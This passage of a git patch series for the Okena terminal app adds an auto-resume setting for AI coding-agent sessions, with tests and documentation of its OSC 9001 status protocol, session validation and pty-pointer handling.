 | [Git Worktrees](docs/worktrees.md) | Worktree management, sync watcher, path templates |
diff --git a/crates/okena-app-core/src/settings.rs b/crates/okena-app-core/src/settings.rs
index 70b4f6050..3cb2a5f93 100644
--- a/crates/okena-app-core/src/settings.rs
+++ b/crates/okena-app-core/src/settings.rs
@@ -146,6 +146,11 @@ impl SettingsState {
         self.save_and_notify(cx);
     }
     setting_setter!(set_show_shell_selector, show_shell_selector, bool);
+    setting_setter!(
+        set_auto_resume_agent_sessions,
+        auto_resume_agent_sessions,
+        bool
+    );
     setting_setter!(
         set_terminal_ctrl_c_copies_selection,
         terminal_ctrl_c_copies_selection,
diff --git a/crates/okena-app-core/src/workspace/actions/execute/mod.rs b/crates/okena-app-core/src/workspace/actions/execute/mod.rs
index 7b0d7e882..cb34adb9c 100644
--- a/crates/okena-app-core/src/workspace/actions/execute/mod.rs
+++ b/crates/okena-app-core/src/workspace/actions/execute/mod.rs
@@ -1562,4 +1562,79 @@ mod agent_resume_tests {
         assert_eq!(args, None);
         assert_eq!(ws.agent_session("project", "terminal"), None);
     }
+
+    /// docs/agent-status.md promises the session is dropped on a hard close, a
+    /// finalized soft close, or a shell switch. Only the soft close was covered;
+    /// these three call sites had no test module at all, so dropping any of them
+    /// would leave orphans in workspace.json — and a pane respawned in the same
+    /// slot could inherit a stale id and be handed `claude --resume` for it.
+    fn workspace_with_live_session() -> (
+        crate::workspace::state::Workspace,
+        TerminalsRegistry,
+        RecordingBackend,
+    ) {
+        let mut ws = workspace_with_terminal(ShellType::Default, None, Some("terminal"), Default::default());
+        ws.set_agent_session("project", "terminal", session("test-agent"), &mut TestCx);
+        assert!(ws.agent_session("project", "terminal").is_some());
+        (ws, Arc::new(Default::default()), RecordingBackend::default())
+    }
+
+    #[test]
+    fn closing_a_terminal_forgets_its_agent_session() {
+        let (mut ws, terminals, backend) = workspace_with_live_session();
+        let mut focus = okena_workspace::focus::FocusManager::new();
+
+        super::terminal::close(
+            &mut ws,
+            &mut focus,
+            "project".to_string(),
+            "terminal".to_string(),
+            &backend,
+            &terminals,
+            &mut TestCx,
+        );
+
+        assert_eq!(ws.agent_session("project", "terminal"), None);
+    }
+
+    #[test]
+    fn closing_many_terminals_forgets_their_agent_sessions() {
+        let (mut ws, terminals, backend) = workspace_with_live_session();
+        let mut focus = okena_workspace::focus::FocusManager::new();
+
+        super::terminal::close_many(
+            &mut ws,
+            &mut focus,
+            "project".to_string(),
+            vec!["terminal".to_string()],
+            &backend,
+            &terminals,
+            &mut TestCx,
+        );
+
+        assert_eq!(ws.agent_session("project", "terminal"), None);
+    }
+
+    #[test]
+    fn switching_shell_forgets_the_agent_session() {
+        // The pane keeps its slot, but the process behind it is gone — so the
+        // captured session no longer describes what runs there.
+        let (mut ws, terminals, backend) = workspace_with_live_session();
+
+        super::terminal::switch_shell(
+            &mut ws,
+            "project".to_string(),
+            "terminal".to_string(),
+            ShellType::Custom {
+                path: "/bin/zsh".to_string(),
+                args: Vec::new(),
+            },
+            &backend,
+            &terminals,
+            &settings(false),
+            &mut TestCx,
+        );
+
+        assert_eq!(ws.agent_session("project", "terminal"), None);
+    }
 }
diff --git a/crates/okena-app/src/views/overlays/settings_panel/render_terminal.rs b/crates/okena-app/src/views/overlays/settings_panel/render_terminal.rs
index b2ebf2b59..3415d81ab 100644
--- a/crates/okena-app/src/views/overlays/settings_panel/render_terminal.rs
+++ b/crates/okena-app/src/views/overlays/settings_panel/render_terminal.rs
@@ -18,6 +18,17 @@ impl SettingsPanel {
             section_container(&t)
                 .child(self.render_shell_dropdown_row(&s.default_shell, cx))
                 .child(self.render_session_backend_dropdown_row(&s.session_backend, cx))
+                // Sits next to the session backend because that is what decides
+                // whether it can ever apply: with a live backend the pane
+                // reattaches to a still-running agent and nothing is resumed.
+                .child(self.render_toggle(
+                    "auto-resume-agent-sessions",
+                    "Auto-Resume Agent Sessions",
+                    s.auto_resume_agent_sessions,
+                    true,
+                    |state, val, cx| state.set_auto_resume_agent_sessions(val, cx),
+                    cx,
+                ))
                 .child(self.render_toggle(
                     "show-shell-selector",
                     "Show Shell Selector",
diff --git a/docs/agent-status.md b/docs/agent-status.md
index 636bc985a..7213b18e4 100644
--- a/docs/agent-status.md
+++ b/docs/agent-status.md
@@ -1,10 +1,20 @@
 # Agent Status
 
-Okena can show what an AI coding agent (Claude Code, Codex, …) is doing in each
-terminal pane: a per-tab indicator, a dedicated **Agents** section in the sidebar
-that lists every active agent across all projects, a matching field in the
-[remote API](remote.md), and a desktop notification when an agent finishes or
-gets blocked.
+Okena can show what an AI coding agent is doing in each terminal pane: a per-tab
+indicator, a dedicated **Agents** section in the sidebar that lists every active
+agent across all projects, a matching field in the [remote API](remote.md), and a
+desktop notification when an agent finishes or gets blocked.
+
+Claude Code is supported out of the box via a [bundled plugin](#claude-code-integration).
+The protocol is agent-agnostic and the resume logic is per-harness, so adding
+another agent is additive — but today Claude Code is the only one that ships
+working glue. Codex has a registered harness that declines to resume, and no
+capture hooks yet.
+
+> **Unix only.** The hook script is `#!/bin/sh` and depends on `/dev/tty`,
+> `base64` and `sed`, and `$OKENA_TTY` is exported only on Unix. On Windows this
+> works inside WSL panes; native `cmd`/PowerShell panes cannot report agent
+> status, and the setup below is a silent no-op there.
 
 The model is **push-based and open**: the agent reports its own state by writing
 a small escape sequence to its terminal. Okena never scrapes the agent's output
@@ -30,22 +40,40 @@ shown verbatim.
   same window-aware `focus_terminal_by_id` as sidebar clicks, cursor navigation,
   notification jumps, and remote focus requests, which also keeps a jump made
   from a fullscreened pane in fullscreen.
+  A pane that is *not* in a tab group (a new project, or any leaf of a plain
+  split) has no tab bar, so its lifecycle shows as a tinted pane border instead
+  — same colors, except `idle`, which is the resting state and draws nothing.
 - **Notification** — entering `blocked` or `done` raises a desktop notification
   (+ sound), suppressed for the pane you're actively looking at. Gated by the
   normal notification settings.
+
+  Raised by the client that **parsed the transition live**. A transition that
+  happens while a client is disconnected is not replayed to it when it
+  reconnects: the snapshot restores the *indicator*, but re-notifying on every
+  reconnect would spam, so it stays silent. Mobile clients get no notification
+  at all today.
 - **Remote** — `GET /v1/state` includes `terminal_agent_status` per project, and
   a status change bumps `state_version` so subscribed clients re-fetch.
 
 Agent status is **runtime-only** — it is never written to `workspace.json` and
-does not survive a restart.
+does not survive a restart. (The *agent session* below is the part that is
+persisted.)
+
+### Stale status
+
+A status is removed only by an explicit `st=clear` or by the pane going away.
+Nothing ties it to the pane's process, so an agent that dies without sending
+`clear` — a crash, `kill -9`, an `exit` that skips its `SessionEnd` hook —
+leaves the tab tinted and the pane listed in AGENTS indefinitely. Closing the
+pane, or having an agent report again in it, clears it.
 
 ## The data model
 
 | Field | Meaning |
 |-------|---------|
 | `lifecycle` | One of `working`, `blocked`, `done`, `idle`. Drives color / sort / notifications. |
-| `custom` | Optional free-form text, e.g. `"running tests 3/5"`. Rendered verbatim. |
-| `labels` | Optional flat `{ "key": "value" }` map of extras. |
+| `custom` | Optional free-form text, e.g. `"running tests 3/5"`. Shown in the tab tooltip and the AGENTS row, flattened to one line and clipped. |
+| `labels` | Optional flat `{ "key": "value" }` map of extras. Carried on the wire; no UI renders them yet. The three reserved session keys are stripped out before this map is built, so session identity never leaves the machine. |
 
 ## The wire format (OSC 9001)
 
@@ -68,9 +96,21 @@ ESC ] 9001 ; st=<state> [ ; tid=<terminal-id> ] [ ; msg=<base64> ] [ ; lbl=<base
   Three keys are **reserved**: `agent` (harness id, e.g. `claude-code`),
   `session_id`, and `transcript_path`. When `agent` + a UUID-shaped `session_id`
   are present, Okena captures them into the pane's *agent session* — a sticky
-  record (it survives `st=clear`) that is the basis for resuming the session and
-  showing transcript stats. A non-UUID `session_id` is ignored (it's untrusted
-  in-band data that may reach a resume command). All other keys are free-form.
+  record (it survives, and is captured on, `st=clear`) that is the basis for
+  resuming the session. All other keys are free-form.
+
+  The reserved keys are read from the raw label map and then **removed** from
+  it, so they never reach `labels` on the wire. They are also the only part of
+  an agent status that gets written to disk, so they are validated rather than
+  trusted: `session_id` must be a canonical UUID, `agent` must be ≤64 chars of
+  `[A-Za-z0-9._-]`, and `transcript_path` must be absolute and free of `..` and
+  ≤4096 bytes. Anything else is dropped — a bad `transcript_path` alone doesn't
+  discard the session, a bad `agent` or `session_id` does.
+
+Everything on this sequence is **untrusted**. Any process that can write to a
+pane — including a `cat` of a hostile file, or a remote host over SSH — can emit
+it. That is why the values are bounded and validated, why the resume argv must
+be shell-neutral, and why `tid=` exists.
 
 For example, to report "done" with a message, from inside the pane:
 
@@ -84,20 +124,27 @@ This is the same family of in-band signals Okena already understands
 
 ### Choosing the output device
 
-Write to the **controlling terminal** (`/dev/tty`) whenever there is one: it
-always resolves to the pane's *current* pty, so it keeps working after the pane
-reattaches to a persistent session backend.
-
-Hooks are the exception — an agent may run them with no controlling terminal at
-all, so Okena also exports `$OKENA_TTY`, the pane's slave pty path captured at
-spawn. Writing to the slave reaches Okena's reader even through a nested
-dtach/tmux pty. Use it as the *fallback*:
+Prefer **`$OKENA_TTY`** — the pane's own slave pty, which Okena exports into
+every pane's environment — and fall back to the controlling terminal:
 
 ```sh
-if (: >/dev/tty) 2>/dev/null; then dev=/dev/tty; else dev="${OKENA_TTY:-/dev/tty}"; fi
+if [ -n "${OKENA_TTY:-}" ] && (: >"$OKENA_TTY") 2>/dev/null; then
+    dev="$OKENA_TTY"
+elif (: >/dev/tty) 2>/dev/null; then
+    dev=/dev/tty
+fi
 ```
 
-> Keep the probe in a subshell. POSIX makes a redirection error on a special
+The intuitive order is the other way round, since `/dev/tty` always names the
+pane's *current* pty. But under a session backend it names the **wrong** one:
+with `session_backend = tmux` the pane process is tmux, so a hook's controlling
+terminal is tmux's pty — and tmux forwards only a fixed allowlist of OSC numbers,
+which 9001 is not on. The sequence is dropped before it ever reaches Okena.
+Screen behaves the same way. Writing to `$OKENA_TTY` reaches Okena's own reader
+and bypasses the nested pty entirely. It also covers hooks that have no
+controlling terminal at all.
+
+> Keep the probes in a subshell. POSIX makes a redirection error on a special
 > built-in (`:`) exit the shell, so a bare `: >/dev/tty` aborts the script in
 > exactly the no-tty case the fallback is for.
 
@@ -106,6 +153,14 @@ belongs to a *different* pane. That is what `tid=` defends against: stamp
 `$OKENA_TERMINAL_ID` on the sequence and a pane that isn't the addressee drops
 it instead of showing another agent's status.
 
+> **`$OKENA_TTY` is a capability, not just a hint.** Unlike an inherited file
+> descriptor, a *path* can be reopened, and Linux recycles `/dev/pts/N` numbers.
+> A process that outlives its pane (a daemonized dev server, a forking
+> postinstall) keeps a way to write into whatever pane later inherits that
+> number — and writes to a slave arrive as terminal *output*, i.e. they are
+> parsed as escape sequences. It is same-user, so not a privilege boundary, but
+> `tid=` guards OSC 9001 only; nothing else on that channel is addressed.
+
 ## Session resume
 
 The reserved `agent` + `session_id` (+ optional `transcript_path`) labels let
@@ -122,7 +177,8 @@ restart:
   *layout path* (`project.pending_agent_resumes`, never persisted), which is the
   pane identity that does survive that load.
 - **Resumed** by the daemon when the **`auto_resume_agent_sessions`** setting is
-  on: `spawn_uninitialized_terminals` consumes the queued session as it gives
+  on (see [configuration](configuration.md#session-backend)): 
+  `spawn_uninitialized_terminals` consumes the queued session as it gives
   the pane its new terminal id, and runs the harness's resume command (for
   Claude Code, `claude --resume <id>`) as the pane's **startup command**,
   chained after any `on_create` hook so the pane still ends up at an interactive
@@ -134,6 +190,18 @@ in the same session does not re-resume. And because it hangs off the *spawn*
 path, a pane that re-attaches to a live backend session (tmux/dtach — where the
 agent is still running) is never touched.
 
+Opening a saved session or importing a workspace also re-keys each pane's
+session onto its new terminal id, so the identity survives — but nothing is
+auto-resumed there. Opening a session is a request to open panes, not to re-run
+whatever agent last lived in each of them.
+
+> **What the resume actually resumes.** The record is "the last agent session
+> this pane ever ran", not "what was running at shutdown". There is no
+> `session ended` signal in the protocol — `st=clear` deliberately keeps the
+> session — so a pane where you finished with Claude an hour ago and then used
+> for something else will still relaunch `claude --resume <that id>` on the next
+> start with auto-resume on. Close the pane to drop the record.
+
 Which command resumes a session is **per-harness** (Claude Code, Codex, …),
 selected by the `agent` id through the harness registry — adding a new agent is
 additive, with no core change.
@@ -162,12 +230,16 @@ From a clone of this repo:
 /plugin install okena-lifecycle@okena
 ```
 
-Or enable it non-interactively in `~/.claude/settings.json`:
+Once the marketplace is registered, you can enable the plugin non-interactively
+instead of the second step, in `~/.claude/settings.json`:
 
 ```json
 { "enabledPlugins": { "okena-lifecycle@okena": true } }
 ```
 
+This is *not* an alternative to the first step: `@okena` names the marketplace,
+which has to exist before the plugin can resolve.
+
 Then run `claude` inside an Okena pane and watch the tab + AGENTS section react.
 
 The plugin maps Claude Code's lifecycle hooks to agent states:
@@ -194,16 +266,19 @@ tool runs → `PostToolUse` (working), and hooks are awaited so the writes never
 race — the pane correctly shows `blocked` while you're being asked.
 
 The plugin sets `OKENA_AGENT=claude-code` on each hook command, and the script
-mines the hook's stdin event JSON for `session_id` / `transcript_path` (a small
-`sed` extraction, no `jq` dependency) and forwards them in the reserved `lbl=`
-keys above — that's how Okena learns the pane's Claude session.
+mines the hook's stdin event JSON for `session_id` / `transcript_path` and
+forwards them in the reserved `lbl=` keys above — that's how Okena learns the
+pane's Claude session. It uses `jq` when available and falls back to a `sed`
+extraction otherwise, so there is no hard dependency. Only **top-level** keys are
+read: `PreToolUse` / `PostToolUse` payloads embed `tool_input` as nested JSON,
+and a tool argument called `session_id` must not be able to hijack the pane's
+identity.
 
 It bundles `okena-lifecycle/scripts/okena-agent-status.sh`, invoked via
-`${CLAUDE_PLUGIN_ROOT}`. Hooks run as subprocesses with **no controlling
-terminal**, so `/dev/tty` is unavailable to them — Okena exports `OKENA_TTY`
-(the pane's slave pty path) into the pane environment and the script writes
-there instead (falling back to `/dev/tty` for interactive use). It's a silent
-no-op when there's no device to write to.
+`${CLAUDE_PLUGIN_ROOT}`. The script writes to `$OKENA_TTY` (the pane's own slave
+pty), falling back to `/dev/tty` — see [Choosing the output
+device](#choosing-the-output-device) for why that order. It's a silent no-op
+when there's no device to write to.
 
 > **Caveat — persistent sessions.** `OKENA_TTY` is captured into the shell's
 > environment when the pane is **first launched**, not refreshed per-attach. If
@@ -222,31 +297,33 @@ somewhere on your `PATH`:
 install -m 0755 integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh ~/.local/bin/okena-agent-status
 ```
 
-…then add to `~/.claude/settings.json`:
+…then add to `~/.claude/settings.json`. Note the `OKENA_AGENT=` prefix on every
+command: without it Okena has no harness id, so it drops the session entirely —
+you get the indicator, but no persistence and no resume, with no error.
 
 ```json
 {
   "hooks": {
     "UserPromptSubmit": [
-      { "hooks": [ { "type": "command", "command": "okena-agent-status working" } ] }
+      { "hooks": [ { "type": "command", "command": "OKENA_AGENT=claude-code okena-agent-status working" } ] }
     ],
     "PreToolUse": [
-      { "hooks": [ { "type": "command", "command": "okena-agent-status working" } ] }
+      { "hooks": [ { "type": "command", "command": "OKENA_AGENT=claude-code okena-agent-status working" } ] }
     ],
     "PostToolUse": [
-      { "hooks": [ { "type": "command", "command": "okena-agent-status working" } ] }
+      { "hooks": [ { "type": "command", "command": "OKENA_AGENT=claude-code okena-agent-status working" } ] }
     ],
     "Notification": [
-      { "hooks": [ { "type": "command", "command": "okena-agent-status blocked" } ] }
+      { "hooks": [ { "type": "command", "command": "OKENA_AGENT=claude-code okena-agent-status blocked" } ] }
     ],
     "Stop": [
-      { "hooks": [ { "type": "command", "command": "okena-agent-status done" } ] }
+      { "hooks": [ { "type": "command", "command": "OKENA_AGENT=claude-code okena-agent-status done" } ] }
     ],
     "SessionStart": [
-      { "hooks": [ { "type": "command", "command": "okena-agent-status clear" } ] }
+      { "hooks": [ { "type": "command", "command": "OKENA_AGENT=claude-code okena-agent-status clear" } ] }
     ],
     "SessionEnd": [
-      { "hooks": [ { "type": "command", "command": "okena-agent-status clear" } ] }
+      { "hooks": [ { "type": "command", "command": "OKENA_AGENT=claude-code okena-agent-status clear" } ] }
     ]
   }
 }
@@ -267,7 +344,10 @@ whole path observable from both ends:
   ```
 
   A `write=failed` line means the OSC never reached Okena (wrong/missing
-  `OKENA_TTY`); no line at all means the hook didn't fire.
+  `OKENA_TTY`); `skip=bad-state` means the state argument wasn't one Okena
+  knows; `skip=no-agent` means a `session_id` was found but `OKENA_AGENT` is
+  unset, so the session is being dropped; no line at all means the hook didn't
+  fire — or, on native Windows, that the script can't run at all.
 
 - **The Okena end** — `okena_terminal::terminal::osc_sidecar` logs every parsed
   `OSC 9001` at `debug` level (`agent-status[<terminal-id>]: <prev> -> <new>
@@ -279,4 +359,10 @@ whole path observable from both ends:
 The script is agent-agnostic: anything that can run a command (Codex, a
 Makefile, your own tooling) can call
 `okena-lifecycle/scripts/okena-agent-status.sh <state> [message]` to report into
-Okena.
+Okena. Set `OKENA_AGENT` to your harness id if you also want session capture.
+
+Resuming a captured session needs a harness registered in
+`okena-agent-harnesses`, which maps an `agent` id to the argv that resumes it.
+Claude Code is implemented; Codex is registered but declines to resume until its
+CLI invocation is confirmed, so a Codex session is captured and shown but not
+auto-resumed.
diff --git a/docs/configuration.md b/docs/configuration.md
index b0aaadead..ddad73e4a 100644
--- a/docs/configuration.md
+++ b/docs/configuration.md
@@ -44,6 +44,7 @@ If the file contains invalid JSON, Okena recovers as many fields as possible and
   "default_shell": "Default",
   "show_shell_selector": false,
   "session_backend": "Auto",
+  "auto_resume_agent_sessions": false,
   "file_opener": "",
   "show_focused_border": false,
   "sidebar": {
@@ -102,6 +103,7 @@ If the file contains invalid JSON, Okena recovers as many fields as possible and
 | Key | Type | Default | Description |
 |-----|------|---------|-------------|
 | `session_backend` | string | `"Auto"` | Session persistence backend. Values: `"Auto"`, `"None"`, `"Tmux"`, `"Screen"`, `"Dtach"`. Auto prefers dtach, then tmux, then screen. Not supported on Windows. |
+| `auto_resume_agent_sessions` | bool | `false` | On restore, re-run the captured AI agent session's resume command (e.g. `claude --resume <id>`) as the pane's startup command. Applies when the pane comes back **without** its process, i.e. under `session_backend: "None"` — with a live backend the agent is still running and is left alone. See [Agent Status](agent-status.md#session-resume). |
 
 #### Sidebar
 
diff --git a/docs/hooks.md b/docs/hooks.md
index 29e06eb33..1261a3948 100644
--- a/docs/hooks.md
+++ b/docs/hooks.md
@@ -97,10 +97,24 @@ Available on worktree and merge hooks.
 
 | Variable | Description |
 |----------|-------------|
-| `OKENA_TERMINAL_ID` | Unique ID of the terminal (`terminal.on_close` only) |
+| `OKENA_TERMINAL_ID` | Unique ID of the terminal. Also exported into every pane — see "Pane environment" below. |
 | `OKENA_TERMINAL_NAME` | Custom name of the terminal, if set (`terminal.on_close` only) |
 | `OKENA_EXIT_CODE` | Exit code of the terminal process (`terminal.on_close` only) |
 
+### Pane environment
+
+Two variables are exported into **every** terminal session Okena spawns, not just
+into hook commands. They are a stable contract for third-party tooling — the
+[agent status](agent-status.md) integration is built on them.
+
+| Variable | Description |
+|----------|-------------|
+| `OKENA_TERMINAL_ID` | The pane's terminal id. Echo it back as the `tid=` parameter of an in-band sequence so Okena can drop a status that lands in the wrong pane. |
+| `OKENA_TTY` | The pane's own slave pty path (Unix only). Write in-band sequences here — it reaches Okena's reader even from a process with no controlling terminal, and even through a nested tmux/dtach pty. |
+
+Both are routed through the pane's launch environment, so they reach the shell
+inside a tmux/screen/dtach session as well as a plain one.
+
 ### Conflict variables
 
 | Variable | Description |
diff --git a/docs/remote.md b/docs/remote.md
index c2e533454..00619fe3d 100644
--- a/docs/remote.md
+++ b/docs/remote.md
@@ -78,6 +78,12 @@ Requires `Authorization: Bearer <token>`.
 
 Returns the workspace state with a monotonic `state_version` counter. Clients can detect missed updates by comparing versions.
 
+The example below is a subset of the full project shape. One field worth calling
+out: `terminal_agent_status` maps terminal id → `{ "lifecycle", "custom"?,
+"labels"? }` for panes running an AI agent (see [Agent Status](agent-status.md)).
+It is **runtime-only** — omitted entirely for terminals with no status, and
+absent after a daemon restart — and a change to it bumps `state_version`.
+
 ```json
 {
   "state_version": 42,
@@ -93,7 +99,10 @@ Returns the workspace state with a monotonic `state_version` counter. Clients ca
         "minimized": false,
         "detached": false
       },
-      "terminal_names": {}
+      "terminal_names": {},
+      "terminal_agent_status": {
+        "uuid": { "lifecycle": "working", "custom": "running tests 3/5" }
+      }
     }
   ],
   "focused_project_id": "uuid",

From 9da5f2f122077028205927bdd40ec1d60570d015 Mon Sep 17 00:00:00 2001
From: David Matejka <matej21@matej21.cz>
Date: Wed, 5 Aug 2026 14:49:02 +0200
Subject: [PATCH 14/16] fix(agent-status): stop tinting the pane border by
 lifecycle
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The border was meant as a fallback for panes with no tab bar, but
`show_border` never checked whether one exists — and `render_tabs` draws
its active tab through a child LayoutContainer that ends up in the same
TerminalPane. So a tabbed pane showed the lifecycle twice: recolored tab
icon plus a full border around the content.

Worse, the border read as an alarm that could not be dismissed. A status
is sticky — only the next status or `st=clear` removes it, and unlike the
bell no activity clears it — so a finished turn left the whole pane
outlined until the next prompt.

Drop it. The tab indicator and the sidebar AGENTS list carry the
lifecycle; the border goes back to focus, bell, OSC 9/777 notifications
and waiting-for-input.

A bare `LayoutNode::Terminal` now shows its agent only in AGENTS and in
the notification. That is the tradeoff, and the docs say so.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_011juTKMupZDjwamSzbNhp9k
---
 .../src/layout/terminal_pane/render.rs        | 25 +++++--------------
 docs/agent-status.md                          | 10 +++++---
 2 files changed, 13 insertions(+), 22 deletions(-)

diff --git a/crates/okena-views-terminal/src/layout/terminal_pane/render.rs b/crates/okena-views-terminal/src/layout/terminal_pane/render.rs
index 86dfb9181..0c6cd4f95 100644
--- a/crates/okena-views-terminal/src/layout/terminal_pane/render.rs
+++ b/crates/okena-views-terminal/src/layout/terminal_pane/render.rs
@@ -101,30 +101,17 @@ impl<D: ActionDispatch + Send + Sync> Render for TerminalPane<D> {
                 .terminal
                 .as_ref()
                 .is_some_and(|t| t.is_waiting_for_input());
-        // The tab bar carries the agent lifecycle, but a bare
-        // `LayoutNode::Terminal` — which is exactly what a new project is, and
-        // every leaf of a plain split — renders no tab bar at all, so the
-        // common "one project, one pane, running an agent" case showed nothing
-        // in the pane. Tint the border like the bell does. `Idle` is excluded:
-        // it is the resting state and would put a border on every such pane.
-        let agent_lifecycle = self
-            .terminal
-            .as_ref()
-            .and_then(|t| t.agent_status())
-            .map(|status| status.lifecycle)
-            .filter(|lifecycle| *lifecycle != okena_core::agent_status::AgentLifecycle::Idle);
-        let show_border = (is_focused && show_focused_border)
-            || has_bell
-            || has_notification
-            || is_waiting
-            || agent_lifecycle.is_some();
+        // Deliberately no agent-lifecycle border: it sticks until the next
+        // status (no activity clears it, unlike the bell), so it read as a
+        // permanent alarm. The tab indicator and the sidebar AGENTS list carry
+        // the lifecycle instead.
+        let show_border =
+            (is_focused && show_focused_border) || has_bell || has_notification || is_waiting;
         // OSC 9/777 notifications share the bell's attention color.
         let border_color = if is_focused && show_focused_border {
             rgb(t.border_focused)
         } else if has_bell || has_notification {
             rgb(t.border_bell)
-        } else if let Some(lifecycle) = agent_lifecycle {
-            rgb(lifecycle.theme_color(&t))
         } else {
             rgb(t.border_idle)
         };
diff --git a/docs/agent-status.md b/docs/agent-status.md
index 7213b18e4..d8dd6d176 100644
--- a/docs/agent-status.md
+++ b/docs/agent-status.md
@@ -40,9 +40,13 @@ shown verbatim.
   same window-aware `focus_terminal_by_id` as sidebar clicks, cursor navigation,
   notification jumps, and remote focus requests, which also keeps a jump made
   from a fullscreened pane in fullscreen.
-  A pane that is *not* in a tab group (a new project, or any leaf of a plain
-  split) has no tab bar, so its lifecycle shows as a tinted pane border instead
-  — same colors, except `idle`, which is the resting state and draws nothing.
+
+  The pane border deliberately stays out of it. A status is sticky — nothing
+  but the next status clears it — so tinting the border turned a finished turn
+  into a permanent alarm around the pane, and doubled up on the tab indicator
+  for any pane that has a tab bar. A pane *not* in a tab group (a new project,
+  or any leaf of a plain split) therefore shows its agent only in AGENTS and in
+  the notification.
 - **Notification** — entering `blocked` or `done` raises a desktop notification
   (+ sound), suppressed for the pane you're actively looking at. Gated by the
   normal notification settings.

From 69611a303eebec73539650c5a3a2ead8235c349d Mon Sep 17 00:00:00 2001
From: David Matejka <matej21@matej21.cz>
Date: Wed, 5 Aug 2026 16:44:40 +0200
Subject: [PATCH 15/16] fix(agent-status): point hooks at the pane's current
 pty, not its first one
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Restart Okena with a session backend and every running agent goes quiet:
the pane reattaches, the agent keeps working, and nothing ever reaches
AGENTS again until the pane itself is recreated.

`$OKENA_TTY` is captured into a pane's environment when the pane is first
launched and can never be refreshed afterwards. Under dtach/tmux/screen
the shell — and the agent under it — outlives Okena, so after a restart
the variable still names the previous run's pty, which Linux has since
handed to a different pane. The hook's write then succeeds against the
wrong pane, where `tid=` correctly drops it: silent loss on both ends,
logged as `write=ok`. Measured on a live dtach pane whose `OKENA_TTY` was
`/dev/pts/9` while `/dev/pts/9` belonged to another pane's session.

`/dev/tty` is no fallback here. Claude Code runs its hooks in a new
session, so they have no controlling terminal at all — and under tmux or
screen it would name the nested pty, which forwards only an OSC allowlist
that 9001 is not on.

What does survive a restart is the pane's terminal id (ids are only
cleared when the backend has no persistence). So key a file by it and
rewrite the contents on every spawn: `$OKENA_TTY_FILE` is a path stable
enough to capture into the environment once, naming a device that is
always current. Published in `create_terminal_with_id`, revoked in
`enqueue_session_kill`, and swept at `PtyManager::new` — the sweep only
removes pointers whose device is already gone, so a throwaway test
manager cannot disturb a live Okena.

The script now prefers that device, falls back to `$OKENA_TTY` and then
`/dev/tty`, and records which one it used as `src=` in the debug log.

Sessions created before this have no such variable and keep falling back
to the frozen `$OKENA_TTY`; recreating the pane picks the pointer up.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_014vNWNgioH8JeerfHgfN31y
---
 crates/okena-terminal/CLAUDE.md               |  19 +-
 crates/okena-terminal/src/lib.rs              |   3 +
 crates/okena-terminal/src/pty_manager.rs      |  86 ++++++-
 crates/okena-terminal/src/session_backend.rs  |   8 +
 crates/okena-terminal/src/tty_pointer.rs      | 225 ++++++++++++++++++
 docs/agent-status.md                          |  94 +++++---
 docs/hooks.md                                 |  15 +-
 .../scripts/okena-agent-status.sh             |  85 ++++---
 8 files changed, 455 insertions(+), 80 deletions(-)
 create mode 100644 crates/okena-terminal/src/tty_pointer.rs

diff --git a/crates/okena-terminal/CLAUDE.md b/crates/okena-terminal/CLAUDE.md
index 1000bcd41..acff6c751 100644
--- a/crates/okena-terminal/CLAUDE.md
+++ b/crates/okena-terminal/CLAUDE.md
@@ -64,7 +64,7 @@ ESC ] 9001 ; st=<working|blocked|done|idle|clear> [ ; tid=<terminal-id> ] [ ; ms
   per-feature drain. A transition into `blocked`/`done` also queues a
   `TerminalNotification` (reusing the OSC 9 notification path + focus
   suppression).
-- `pty_manager.rs` exports two env vars into the pane at spawn. Both go through
+- `pty_manager.rs` exports three env vars into the pane at spawn. All go through
   `launch_environment`, **not** `cmd.env()` after the fact: under a session
   backend the spawned command is `sh -c "tmux new-session …"`, so a late
   `cmd.env` lands on tmux rather than the pane's shell — and an already-running
@@ -76,9 +76,20 @@ ESC ] 9001 ; st=<working|blocked|done|idle|clear> [ ; tid=<terminal-id> ] [ ; ms
     `/dev/tty`: writing to the slave reaches Okena's own master reader, whereas
     a hook's controlling terminal under tmux/screen is the *nested* pty, and
     those forward only a fixed allowlist of OSC numbers that 9001 is not on.
-    It also covers processes with no controlling terminal at all. It is captured
-    once at spawn, so it can go stale across a reattach — which is what `tid=`
-    below contains.
+    It also covers processes with no controlling terminal at all — Claude Code
+    runs its hooks in a new session, so for those `/dev/tty` never resolves. It
+    is captured once at spawn and a pane can outlive the Okena that launched it,
+    so prefer `OKENA_TTY_FILE`; what contains the residual is `tid=` below.
+  - `OKENA_TTY_FILE` — path of a file holding that same device, rewritten by
+    `crate::tty_pointer` on **every** spawn and reattach and keyed by terminal
+    id. A pane's environment can never be updated after launch, so the fix is to
+    make the captured value a *stable path* whose contents move: the terminal id
+    survives a restart under a session backend, `/dev/pts/N` does not. Without
+    it, an agent that outlives an Okena restart writes its status into whichever
+    pane inherited its old pty number, where `tid=` silently drops it — the bug
+    this exists to fix. Published in `create_terminal_with_id`, revoked in
+    `enqueue_session_kill`, and swept at `PtyManager::new` (only pointers whose
+    device is gone, so a throwaway test manager can't disturb a live Okena).
 
     **Security note:** unlike an inherited fd, a *path* can be reopened, and
     Linux recycles `/dev/pts/N` numbers. Any process that outlives its pane (a
diff --git a/crates/okena-terminal/src/lib.rs b/crates/okena-terminal/src/lib.rs
index 9b1a0cbe1..c6347244f 100644
--- a/crates/okena-terminal/src/lib.rs
+++ b/crates/okena-terminal/src/lib.rs
@@ -10,6 +10,9 @@ pub mod pty_manager;
 pub mod session_backend;
 pub mod shell_config;
 pub mod terminal;
+/// Per-pane pointer to the pane's current slave pty (`$OKENA_TTY_FILE`).
+#[cfg(unix)]
+pub mod tty_pointer;
 
 use parking_lot::Mutex;
 use std::collections::HashMap;
diff --git a/crates/okena-terminal/src/pty_manager.rs b/crates/okena-terminal/src/pty_manager.rs
index 02e585824..a4aa71393 100644
--- a/crates/okena-terminal/src/pty_manager.rs
+++ b/crates/okena-terminal/src/pty_manager.rs
@@ -532,6 +532,16 @@ impl PtyManager {
             log::warn!("failed to spawn dtach cleanup thread: {e}");
         }
 
